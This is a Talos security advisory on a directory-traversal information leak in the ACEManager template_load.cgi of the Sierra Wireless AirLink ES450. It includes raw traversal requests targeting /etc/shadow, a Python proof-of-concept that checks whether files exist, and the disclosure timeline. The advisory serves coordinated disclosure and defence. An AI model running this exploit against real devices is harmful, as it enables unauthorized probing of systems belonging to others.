Talos Vulnerability Report

Summary

An exploitable information disclosure vulnerability exists in the ACEManager template_load.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can cause a information leak, resulting in the disclosure of internal paths and files. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Tested Versions

Sierra Wireless AirLink ES450 FW 4.9.3

Product URLs

https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/

CVSSv3 Score

5.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-200: Information Exposure

Details

Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.

ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.

The /cgi-bin/template_load.cgi binary is responsible for loading the previously uploaded template file to be used for configuration of the device. If we bypass the upload stage of the process and utilize template_load.cgi directly we can disclosure internal paths on the device with directory traversal within the path parameter. The requests below show a file that does not exist, as well as a file that does exist. The error messages disclose the information we need to determine if a file exists at the provided path or not.

File does not exist

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=e9fa78d203adc768483d1409ac904133
 Connection: close
 
 path=/www/auth/user/../../../etc/shadows

 ---------------------------------------------------------------
 HTTP/1.1 200 OK
 Status: 501 Internal Error
 
 Cannot open /www/auth/user/../../../etc/shadows for reading

File exists

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=e9fa78d203adc768483d1409ac904133
 Connection: close
 
 path=/www/auth/user/../../../etc/shadow
 
 ---------------------------------------------------------------
 HTTP/1.1 200 OK
 Status: 400 Bad Request
 
 Template document structure is incorrect or unrecognizable

These vulnerabilities were discovered and tested using the AirLink ES450. Most likely this vulnerabilities also affects the AirLink GX450 product as well.

Exploit Proof of Concept

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests

 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)

      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)

      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)

 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
           sys.exit(0)
      
      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      path = sys.argv[4]

      print("Path : {}\n".format(path))

      cookies = auth(ip, port, password)

      data = "path=/www/auth/user/../../.." + path
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"})

      if "501" in response.headers["Status"]:
           print("{} : Does not exist".format(path))
      elif "400" in response.headers["Status"]:
           print("{} : Does exist".format(path))
      else:
           print("Unexpected status received!")

 if __name__ == "__main__":
      main()

Timeline

2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor’s analysis of issues<br 2019-02-26 - Vendor provided analysis of CVSS scoring
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release